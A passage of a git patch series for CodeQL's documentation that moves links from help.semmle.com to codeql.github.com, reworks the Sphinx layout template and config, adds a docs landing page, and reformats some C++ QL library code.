https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$GlobalVariable.html @@ -741,10 +749,7 @@ This table lists Preprocessor_ classes representing C/C++ preprocessing directiv .. _Import: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$Import.html .. _IncludeNext: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$IncludeNext.html .. _Macro: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Macro.qll/type.Macro$Macro.html +.. _Char16Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char16Type.html +.. _Char32Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html> -Further reading ---------------- - -.. include:: ../reusables/cpp-further-reading.rst -.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst b/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst index 2b349c9adf6..7bd3251dd06 100644 --- a/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst +++ b/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst @@ -67,7 +67,7 @@ To overcome these potential problems, two kinds of data flow are modeled in the - Global data flow, effectively considers the data flow within an entire program, by calculating data flow between functions and through object properties. Computing global data flow is typically more time and energy intensive than local data flow, therefore queries should be refined to look for more specific sources and sinks. -Many CodeQL queries contain examples of both local and global data flow analysis. See `the built-in queries <https://help.semmle.com/wiki/display/QL/Built-in+queries>`__ for details. +Many CodeQL queries contain examples of both local and global data flow analysis. For more information, see `CodeQL query help <https://codeql.github.com/codeql-query-help>`__. Normal data flow vs taint tracking ********************************** From e346b479d222b7b77c61bab110e403aa697601c9 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 09:33:21 +0000 Subject: [PATCH 0143/1241] update links in banner --- docs/codeql/_templates/layout.html | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/docs/codeql/_templates/layout.html b/docs/codeql/_templates/layout.html index 46ce61398f9..4908d824938 100644 --- a/docs/codeql/_templates/layout.html +++ b/docs/codeql/_templates/layout.html @@ -38,7 +38,7 @@ {%- block content %} <header class="Header"> <div class="Header-item--full"> - <a href="{{ pathto(master_doc) }}" class="Header-link f2 d-flex flex-items-center"> + <a href="https://codeql.github.com/docs" class="Header-link f2 d-flex flex-items-center"> <!-- <%= octicon "mark-github", class: "mr-2", height: 32 %> --> <svg height="32" class="octicon octicon-mark-github mr-2" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"> @@ -69,20 +69,30 @@ </summary> <ul class="dropdown-menu dropdown-menu-se dropdown-menu-dark"> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/codeql-overview">CodeQL overview</a></li> + <li class="dropdown-divider" role="separator"></li> <div class="dropdown-header"> - Help docs + CodeQL tools </div> - <li><a class="dropdown-item" href="https://help.semmle.com/QL/learn-ql/">Learn CodeQL</a></li> - <li><a class="dropdown-item" href="https://help.semmle.com/codeql/codeql-tools.html">CodeQL tools</a> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/codeql-for-visual-studio-code">CodeQL for VS Code</a> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/codeql-cli">CodeQL CLI</a> </li> <li class="dropdown-divider" role="separator"></li> + <div class="dropdown-header"> + CodeQL guides + </div> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/writing-codeql-queries">Writing CodeQL queries</a></li> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/codeql-language-guides">CodeQL language guides</a> + <li class="dropdown-divider" role="separator"></li> <div class="dropdown-header"> Reference docs </div> - <li><a class="dropdown-item" href="https://help.semmle.com/QL/ql-handbook/">QL language reference</a> - <li><a class="dropdown-item" href="https://help.semmle.com/QL/ql-libraries.html">CodeQL libraries</a> - <li><a class="dropdown-item" href="https://help.semmle.com/QL/ql-built-in-queries.html">CodeQL - queries</a> + <li><a class="dropdown-item" href="https://codeql.github.com/docs/ql-language-reference/">QL language + reference</a> + <li><a class="dropdown-item" href="https://codeql.github.com/codeql-standard-libraries">CodeQL + standard-libraries</a> + <li><a class="dropdown-item" href=".https://codeql.github.com/codeql-query-help">CodeQL + query help</a> <li class="dropdown-divider" role="separator"></li> <div class="dropdown-header"> Source files From f659e6c9df3d9372f596d15befcd20598674888b Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 09:36:55 +0000 Subject: [PATCH 0144/1241] fix table in go article --- ...bstract-syntax-tree-classes-for-working-with-go-programs.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst index 623bdcdba58..5e4cc24dc16 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst @@ -76,7 +76,7 @@ This table lists all subclasses of Stmt_. | | | | | +-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ | ``fallthrough`` | FallthroughStmt_ | BranchStmt_ | can only occur as final non-empty child of | -| | | | a CaseClause_ in an ExpressionSwitchStmt_ | | +| | | | a CaseClause_ in an ExpressionSwitchStmt_ | +-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ | LabelName_\ ``:`` Stmt_ | LabeledStmt_ | | | | | | | | From 18fc33c78cf9b08e32c666fb976f2ca4f45e4abd Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 10:44:07 +0000 Subject: [PATCH 0145/1241] update links to codeql cli manual --- docs/codeql/codeql-cli/about-the-codeql-cli.rst | 2 +- .../codeql-cli/analyzing-databases-with-the-codeql-cli.rst | 4 ++-- docs/codeql/codeql-cli/codeql-cli-reference.rst | 2 +- docs/codeql/codeql-cli/creating-codeql-databases.rst | 2 +- docs/codeql/codeql-cli/creating-codeql-query-suites.rst | 2 +- docs/codeql/codeql-cli/exit-codes.rst | 4 ++-- .../codeql-cli/getting-started-with-the-codeql-cli.rst | 2 +- docs/codeql/codeql-cli/index.rst | 2 +- docs/codeql/codeql-cli/sarif-output.rst | 2 +- docs/codeql/codeql-cli/testing-custom-queries.rst | 2 +- docs/codeql/codeql-cli/testing-query-help-files.rst | 4 ++-- docs/codeql/codeql-cli/upgrading-codeql-databases.rst | 2 +- .../codeql-cli/using-custom-queries-with-the-codeql-cli.rst | 2 +- .../analyzing-your-projects.rst | 2 +- docs/codeql/reusables/advanced-query-execution.rst | 6 +++--- 15 files changed, 20 insertions(+), 20 deletions(-) diff --git a/docs/codeql/codeql-cli/about-the-codeql-cli.rst b/docs/codeql/codeql-cli/about-the-codeql-cli.rst index 87f9f0f5d5a..4e278c47de6 100644 --- a/docs/codeql/codeql-cli/about-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/about-the-codeql-cli.rst @@ -26,4 +26,4 @@ command line. To run a command, use:: codeql [command] [subcommand] To view the reference documentation for a command, add the ``--help`` flag, or visit the -"`CodeQL CLI manual <../../codeql-cli-manual>`__." +"`CodeQL CLI manual <../manual>`__." diff --git a/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst index 956a6e31b4b..60126d12d0a 100644 --- a/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst @@ -49,7 +49,7 @@ You must specify: <sarif-file>`, and graph formats. For more information about CSV and SARIF, see `Results <#results>`__. To find out which other results formats are supported, see the `database analyze reference - <../codeql-cli-manual/database-analyze.html>`__. + <../manual/database-analyze>`__. - ``--output``: the output path of the results file generated during analysis. @@ -70,7 +70,7 @@ You can also specify: <upgrading-codeql-databases>`." For full details of all the options you can use when analyzing databases, see -the `database analyze reference documentation <../codeql-cli-manual/database-analyze.html>`__. +the `database analyze reference documentation <../manual/database-analyze>`__. .. _database-analyze-examples: diff --git a/docs/codeql/codeql-cli/codeql-cli-reference.rst b/docs/codeql/codeql-cli/codeql-cli-reference.rst index fe19123893b..75513a06b54 100644 --- a/docs/codeql/codeql-cli/codeql-cli-reference.rst +++ b/docs/codeql/codeql-cli/codeql-cli-reference.rst @@ -28,4 +28,4 @@ CodeQL CLI manual ----------------- To view detailed information about each CodeQL CLI command, -including its usage and options, add the ``--help`` flag or visit the "`CodeQL CLI manual <../codeql-cli-manual>`__." +including its usage and options, add the ``--help`` flag or visit the "`CodeQL CLI manual <../manual>`__." diff --git a/docs/codeql/codeql-cli/creating-codeql-databases.rst b/docs/codeql/codeql-cli/creating-codeql-databases.rst index 5dc12ed03b9..73fa4fb4818 100644 --- a/docs/codeql/codeql-cli/creating-codeql-databases.rst +++ b/docs/codeql/codeql-cli/creating-codeql-databases.rst @@ -50,7 +50,7 @@ the language you want to analyze: detect the build system automatically, using a built-in autobuilder. For full details of all the options you can use when creating databases, -see the `database create reference documentation <../codeql-cli-manual/database-create.html>`__. +see the `database create reference documentation <../manual/database-create>`__. Progress and results -------------------- diff --git a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst index 9c8f42683ea..2ded0522cc9 100644 --- a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst +++ b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst @@ -234,7 +234,7 @@ instruction:: - description: <name-of-query-suite> This value is displayed when you run `codeql resolve queries -<../codeql-cli-manual/resolve-queries.html>`__, if the suite is added to a "well-known" +<../manual/resolve-queries>`__, if the suite is added to a "well-known" directory. For more information, see "`Specifying well-known query suites <#specifying-well-known-query-suites>`__." diff --git a/docs/codeql/codeql-cli/exit-codes.rst b/docs/codeql/codeql-cli/exit-codes.rst index f313e4080d4..5d9a0d434b6 100644 --- a/docs/codeql/codeql-cli/exit-codes.rst +++ b/docs/codeql/codeql-cli/exit-codes.rst @@ -16,7 +16,7 @@ Success, normal termination. The command successfully determined that the answer to your question is "no". -This exit code is only used by a few commands, such as `codeql test run <../codeql-cli-manual/test-run.html>`__, `codeql database check <../codeql-cli-manual/dataset-check.html>`__, `codeql query format <../codeql-cli-manual/query-format.html>`__,and `codeql resolve extractor <../codeql-cli-manual/resolve-extractor.html>`__. +This exit code is only used by a few commands, such as `codeql test run <../manual/test-run>`__, `codeql database check <../manual/dataset-check>`__, `codeql query format <../manual/query-format>`__,and `codeql resolve extractor <../manual/resolve-extractor>`__. For more details, see the documentation for those commands. 2 @@ -37,7 +37,7 @@ In this case, the launcher can't start the Java code for the CodeQL CLI at all. 32 --- -The extractor didn't find any code to analyze when running `codeql database create <../codeql-cli-manual/database-create.html>`__ or `codeql database finalize <../codeql-cli-manual/database-finalize.html>`__. +The extractor didn't find any code to analyze when running `codeql database create <../manual/database-create>`__ or `codeql database finalize <../manual/database-finalize>`__. 33 --- diff --git a/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst index c0f5282e4f8..cb4cd413f25 100644 --- a/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst @@ -184,7 +184,7 @@ executable in a couple of ways: can run the executable as just ``codeql``. At this point, you can execute CodeQL commands. For a full list of the CodeQL -CLI commands, see the "`CodeQL CLI manual <../../codeql-cli-manual>`__." +CLI commands, see the "`CodeQL CLI manual <../manual>`__." .. pull-quote:: Note diff --git a/docs/codeql/codeql-cli/index.rst b/docs/codeql/codeql-cli/index.rst index 233253673af..07ec8431235 100644 --- a/docs/codeql/codeql-cli/index.rst +++ b/docs/codeql/codeql-cli/index.rst @@ -10,7 +10,7 @@ CodeQL CLI - :ref:`CodeQL CLI reference <codeql-cli-reference>`: Learn more about the files you can use when running CodeQL processes and the results format and exit codes that CodeQL generates. -- `CodeQL CLI manual <../codeql-cli-manual>`__: Detailed information about all the commands available with the CodeQL CLI. +- `CodeQL CLI manual <manual>`__: Detailed information about all the commands available with the CodeQL CLI. .. toctree:: :titlesonly: diff --git a/docs/codeql/codeql-cli/sarif-output.rst b/docs/codeql/codeql-cli/sarif-output.rst index fca88ac8f2f..d9b10785851 100644 --- a/docs/codeql/codeql-cli/sarif-output.rst +++ b/docs/codeql/codeql-cli/sarif-output.rst @@ -11,7 +11,7 @@ considered "optional". This document details the output produced when using the format type ``sarifv2.1.0``, which corresponds to the SARIF v2.1.0.csd1 specification. For more information on selecting a file format for your analysis results, see -the `database analyze reference <../codeql-cli-manual/database-analyze.html>`__. +the `database analyze reference <../manual/database-analyze>`__. SARIF specification and schema ------------------------------ diff --git a/docs/codeql/codeql-cli/testing-custom-queries.rst b/docs/codeql/codeql-cli/testing-custom-queries.rst index 9007e96677b..3890703a83d 100644 --- a/docs/codeql/codeql-cli/testing-custom-queries.rst +++ b/docs/codeql/codeql-cli/testing-custom-queries.rst @@ -130,7 +130,7 @@ You can also specify: - .. include:: ../reusables/threads-query-execution.rst For full details of all the options you can use when testing queries, -see the `test run reference documentation <../codeql-cli-manual/test-run.html>`__. +see the `test run reference documentation <../manual/test-run>`__. Example ------- diff --git a/docs/codeql/codeql-cli/testing-query-help-files.rst b/docs/codeql/codeql-cli/testing-query-help-files.rst index 38e154f3f38..d8285eb57cc 100644 --- a/docs/codeql/codeql-cli/testing-query-help-files.rst +++ b/docs/codeql/codeql-cli/testing-query-help-files.rst @@ -54,7 +54,7 @@ The ``--output`` option defines a file path where the rendered query help will b For full details of all the options you can use when testing query help files, see the `generate query-help reference documentation -<codeql-cli-manual:generate-query-help>`__. +<../manual/generate-query-help>`__. Results ------- @@ -73,7 +73,7 @@ By default, the CodeQL CLI will print a warning message if: as an accompanying ``.qhelp`` file You can tell the CodeQL CLI how to handle these warnings by including a ``--warnings`` option in your command. -For more information, see the `generate query-help reference documentation <../codeql-cli-manual/generate-query-help.html#cmdoption-codeql-generate-query-help-warnings>`__. +For more information, see the `generate query-help reference documentation <../manual/generate-query-help#cmdoption-codeql-generate-query-help-warnings>`__. Further reading --------------- diff --git a/docs/codeql/codeql-cli/upgrading-codeql-databases.rst b/docs/codeql/codeql-cli/upgrading-codeql-databases.rst index 30636fbfa2c..d4f769bc538 100644 --- a/docs/codeql/codeql-cli/upgrading-codeql-databases.rst +++ b/docs/codeql/codeql-cli/upgrading-codeql-databases.rst @@ -40,7 +40,7 @@ where ``<database>``, the path to the CodeQL database you want to upgrade, must be specified. For full details of all the options you can use when upgrading databases, -see the "`database upgrade <../codeql-cli-manual/database-upgrade.html>`__" reference documentation. +see the "`database upgrade <../manual/database-upgrade>`__" reference documentation. Progress and results -------------------- diff --git a/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst index 50271c24eef..aa9e45927f1 100644 --- a/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/using-custom-queries-with-the-codeql-cli.rst @@ -7,7 +7,7 @@ You can customize your CodeQL analyses by writing your own queries to highlight specific vulnerabilities or errors. This topic is specifically about writing -queries to use with the `database analyze <../codeql-cli-manual/database-analyze.html>`__ +queries to use with the `database analyze <../manual/database-analyze>`__ command to produce :ref:`interpreted results <interpret-query-results>`. .. include:: ../reusables/advanced-query-execution.rst diff --git a/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst b/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst index 6222c677361..02ece5284fa 100644 --- a/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst +++ b/docs/codeql/codeql-for-visual-studio-code/analyzing-your-projects.rst @@ -137,7 +137,7 @@ To use standard code navigation features in the source code, you can right-click If you're using an older database, code navigation commands such as **Go to Definition** and **Go to References** may not work. To use code navigation, try unzipping the database and running ``codeql database cleanup <database>`` on the unzipped database using the CodeQL CLI. Then, re-add the database to Visual Studio Code. - For more information, see the `database cleanup <../codeql-cli/codeql-cli-manual/database-cleanup.html>`__ reference documentation. + For more information, see the `database cleanup <../../codeql-cli/manual/database-cleanup>`__ reference documentation. Comparing query results ------------------------ diff --git a/docs/codeql/reusables/advanced-query-execution.rst b/docs/codeql/reusables/advanced-query-execution.rst index 0519939f0d9..7162b2042e6 100644 --- a/docs/codeql/reusables/advanced-query-execution.rst +++ b/docs/codeql/reusables/advanced-query-execution.rst @@ -4,15 +4,15 @@ <including-query-metadata>`. You can also execute queries using the following plumbing-level subcommands: - - `database run-queries <../codeql-cli-manual/database-run-queries.html>`__, which + - `database run-queries <../manual/database-run-queries>`__, which outputs non-interpreted results in an intermediate binary format called :ref:`BQRS <bqrs-file>`. - - `query run <../codeql-cli-manual/query-run.html>`__, which will output BQRS files, or print + - `query run <../manual/query-run>`__, which will output BQRS files, or print results tables directly to the command line. Viewing results directly in the command line may be useful for iterative query development using the CLI. Queries run with these commands don't have the same metadata requirements. However, to save human-readable data you have to process each BQRS results - file using the `bqrs decode <../codeql-cli-manual/bqrs-decode.html>`__ plumbing + file using the `bqrs decode <../manual/bqrs-decode>`__ plumbing subcommand. Therefore, for most use cases it's easiest to use ``database analyze`` to directly generate interpreted results. \ No newline at end of file From ac2d62155848886b38aaa06d11ab9cdd1b4b2ac7 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 10:44:39 +0000 Subject: [PATCH 0146/1241] update search settings in docs template --- docs/codeql/_templates/layout.html | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/docs/codeql/_templates/layout.html b/docs/codeql/_templates/layout.html index 4908d824938..4ed9e52d5a0 100644 --- a/docs/codeql/_templates/layout.html +++ b/docs/codeql/_templates/layout.html @@ -50,15 +50,7 @@ </a> </div> <div class="Header-item hide-sm hide-md"> - <form class="search" action="{{ pathto('search') }}" method="get"> - <input class="form-control input-dark" type="text" name="q" placeholder="Search" /> - <input class="btn" type="submit" value="Search" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <script type="text/javascript">$('#searchbox').show(0);</script> - - <div class="clearer"></div> + <script src="https://addsearch.com/js/?key=93b4d287e2fc079a4089412b669785d5&categories=!0xhelp.semmle.com,0xcodeql.github.com,1xdocs,1xcodeql-standard-libraries,1xcodeql-query-help"></script> </div> <div class="Header-item"> From 0316c673f868432f567a0a91e81d90e4943c781a Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Thu, 3 Dec 2020 15:52:12 +0000 Subject: [PATCH 0147/1241] add docs landing page to sphinx project --- docs/codeql/_templates/layout.html | 2 +- docs/codeql/conf.py | 49 ++--- docs/codeql/index.html | 298 +++++++++++++++++++++++++++++ 3 files changed, 316 insertions(+), 33 deletions(-) create mode 100644 docs/codeql/index.html diff --git a/docs/codeql/_templates/layout.html b/docs/codeql/_templates/layout.html index 4ed9e52d5a0..bdd8a94da75 100644 --- a/docs/codeql/_templates/layout.html +++ b/docs/codeql/_templates/layout.html @@ -46,7 +46,7 @@ d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"> </path> </svg> - <span class="hide-sm">{{ project }}</span> + <span class="hide-sm">CodeQL documentation</span> </a> </div> <div class="Header-item hide-sm hide-md"> diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index d0460059c28..6b457ad8ebc 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -1,29 +1,20 @@ # -*- coding: utf-8 -*- # -# Global configuration file, created on 29th April 2019. -# -# The config values below are used across all of the sphinx projects +# The Sphinx config values used in the CodeQL documentation that is published +# at codeql.github.com/docs # # Note that not all possible configuration values are present in this file. # # All configuration values have a default; values that are commented out # serve to show the default. - +# # For details of all possible config values, # see https://www.sphinx-doc.org/en/master/usage/configuration.html - -################################################################################## # -# Project-specific values are configured in the relevant conf.py file. -# See individual projects for details -# -################################################################################## - -# -- GLOBAL GENERAL CONFIG VALUES ------------------------------------------------ +# -- GENERAL CONFIG VALUES ------------------------------------------------ # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: -# source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. @@ -42,10 +33,6 @@ htmlhelp_basename = 'CodeQL' # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' -# Add any Sphinx extension module names here, as strings. They can be -# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom -# ones. - # The encoding of source files. source_encoding = 'utf-8-sig' @@ -61,10 +48,9 @@ def setup(sphinx): from qllexer import QLLexer sphinx.add_lexer("ql", QLLexer()) -# The Semmle version info for the current release you're documenting, acts as replacement for -# |version| and |release|, also used in various other places throughout the -# built documents. -# +# The version of CodeQL for the current release you're documenting, acts as replacement for +# |version| and |release| + # The short X.Y version. version = u'3.0' # The full version, including alpha/beta/rc tags. @@ -85,13 +71,11 @@ html_show_sphinx = False # -- Global HTML configuration ------------------------------------- -# The theme to use for HTML and HTML Help pages. See the documentation for -# a list of builtin themes. +# The theme to use for HTML pages. See https://github.com/bitprophet/alabaster/blob/master/alabaster/static/alabaster.css_t +# Many of the built-in theme styles are overridden by the static stylesheets in html_static_path. html_theme = 'alabaster' -# Theme options are theme-specific and customize the look and feel of a theme -# further. For a list of options available for each theme, see the -# documentation. +# HTML theme options used to customize the look and feel of the docs. html_theme_options = {'font_size': '16px', 'body_text': '#333', 'link': '#2F1695', @@ -101,13 +85,14 @@ html_theme_options = {'font_size': '16px', 'head_font_family': '-apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"', } -# Add any paths that contain templates here, relative to this directory. +# Path to the folder that contains the project's HTML template templates_path = ['_templates'] -# Add any paths that contain custom static files (such as style sheets) here, -# relative to this directory. They are copied after the builtin static files, -# so a file named "default.css" will overwrite the builtin "default.css". +# Path to the folder that contains static stylesheets html_static_path = ['_static'] -exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help','_build', '*.py*', 'README.rst'] -############################################################################## +# Copy the static landing page for codeql.github.com/docs when building this sphinx project +html_extra_path = ['index.html'] + +# Exclude these paths from being built by Sphinx +exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help', '_build', '*.py*', 'README.rst'] diff --git a/docs/codeql/index.html b/docs/codeql/index.html new file mode 100644 index 00000000000..d9722ed2c6c --- /dev/null +++ b/docs/codeql/index.html @@ -0,0 +1,298 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + <title>CodeQL documentation + + + + +
    + +
    + +
    +
    + +
    +
    +
    +
    + +

    CodeQL documentation

    +

    Discover vulnerabilities across a codebase with CodeQL, our industry-leading semantic code + analysis + engine. CodeQL lets you query code as though it were data. Write a query to find all variants of a + vulnerability, eradicating it forever. Then share your query to help others do the same.

    +
    +
    +
    + +
    +

    + CodeQL overview +

    +
    +
    +
    + Learn more about how CodeQL works, the languages and libraries supported by CodeQL analysis, and the tools you can use to run CodeQL on open source projects. +
    +
    +
    + +
    + GitHub provides the CodeQL command-line interface and CodeQL for Visual Studio Code for performing + CodeQL analysis on open source codebases. +
    +
    +
    + +
    + You can use code scanning with CodeQL to analyze the code in a GitHub repository to find security + vulnerabilities and coding errors. Any problems identified by the analysis are shown in GitHub +
    +
    +
    +
    +
    +
    + +

    + CodeQL guides +

    + +
    +
    + Learn more about CodeQL queries in Writing CodeQL queries and find information about writing queries to analyze specific languages in the CodeQL language guides. +
    +
    +
    +
    +

    + CodeQL reference documentation +

    +
    + +
    + Finds details of the predicates, modules, and classes included with CodeQL in the CodeQL standard libraries and explore the documentation for the CodeQL queries in the CodeQL query help. +
    +
    +
    + +
    +

    + QL language reference +

    +
    +
    +
    + Learn all about QL, the powerful query language that underlies the code scanning tool CodeQL. +
    +
    +
    +
    + + + From 1486aef5e1bf707b6fee611f00f8e95c52c86c97 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Fri, 4 Dec 2020 14:42:44 +0000 Subject: [PATCH 0148/1241] Update docs/codeql/_templates/layout.html Co-authored-by: Felicity Chapman --- docs/codeql/_templates/layout.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/_templates/layout.html b/docs/codeql/_templates/layout.html index bdd8a94da75..e9edb6a3164 100644 --- a/docs/codeql/_templates/layout.html +++ b/docs/codeql/_templates/layout.html @@ -83,7 +83,7 @@ reference
  • CodeQL standard-libraries -
  • CodeQL +
  • CodeQL query help
  • - Learn more about CodeQL queries in Writing CodeQL queries and find information about writing queries to analyze specific languages in the CodeQL language guides. + Learn more about CodeQL queries in Writing CodeQL queries and find information about writing queries to analyze specific languages in the CodeQL language guides.
    From d0a25826730886d9cc0e9f628d3dd6f3fdef0e3e Mon Sep 17 00:00:00 2001 From: james Date: Fri, 4 Dec 2020 16:58:13 +0000 Subject: [PATCH 0151/1241] remove mention of odasa from javascript article --- .../codeql-library-for-typescript.rst | 6 ------ 1 file changed, 6 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst index 7e33460c48d..096e699d9ee 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst @@ -181,12 +181,6 @@ Static type information Static type information and global name binding is available for projects with "full" TypeScript extraction enabled. This option is enabled by default for projects on LGTM.com and when you create databases with the :ref:`CodeQL CLI `. -.. pull-quote:: Note - - If you are using the `legacy QL command-line tools `__, you must enable full TypeScript extraction by passing ``--typescript-full`` to the JavaScript extractor. For further information on customizing calls to the extractor, see `Customizing JavaScript extraction `__. - - Without full extraction, the classes and predicates described in this section are empty. - Basic usage ~~~~~~~~~~~ From 45a4d5beb9f1644fe11e0371e5aa956b44aa4e19 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Fri, 4 Dec 2020 14:48:46 +0000 Subject: [PATCH 0152/1241] Update docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst --- ...act-syntax-tree-classes-for-working-with-go-programs.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst index 5e4cc24dc16..c866db9b24e 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-go-programs.rst @@ -328,9 +328,9 @@ The following classes relate to what sort of entity the name refers to. - LabelName_ - ValueName_ -- ConstantName_ -- VariableName_ -- FunctionName_ + - ConstantName_ + - VariableName_ + - FunctionName_ Miscellaneous ~~~~~~~~~~~~~ From 998eaf90eeaaaa8fa9f42f92849bd16b55160acd Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 4 Dec 2020 18:53:24 +0000 Subject: [PATCH 0153/1241] C++: Run through updated autoformat. --- .../Magic Constants/MagicConstants.qll | 3 +-- cpp/ql/src/DefaultOptions.qll | 7 +++---- .../CWE/CWE-457/InitializationFunctions.qll | 12 ++++-------- cpp/ql/src/semmle/code/cpp/Function.qll | 16 +++++++--------- .../cpp/ir/dataflow/DefaultTaintTracking.qll | 3 +-- .../code/cpp/models/implementations/Iterator.qll | 4 +++- 6 files changed, 19 insertions(+), 26 deletions(-) diff --git a/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll b/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll index 4ee047f56be..587b64b60b3 100644 --- a/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll +++ b/cpp/ql/src/Best Practices/Magic Constants/MagicConstants.qll @@ -161,8 +161,7 @@ predicate arrayInitializerChild(AggregateLiteral parent, Expr e) { // i.e. not a constant folded expression predicate literallyLiteral(Literal lit) { - lit - .getValueText() + lit.getValueText() .regexpMatch(".*\".*|\\s*+[-+]?+\\s*+(0[xob][0-9a-fA-F]|[0-9])[0-9a-fA-F,._]*+([eE][-+]?+[0-9,._]*+)?+\\s*+[a-zA-Z]*+\\s*+") } diff --git a/cpp/ql/src/DefaultOptions.qll b/cpp/ql/src/DefaultOptions.qll index efb687ed2e3..9ed99054098 100644 --- 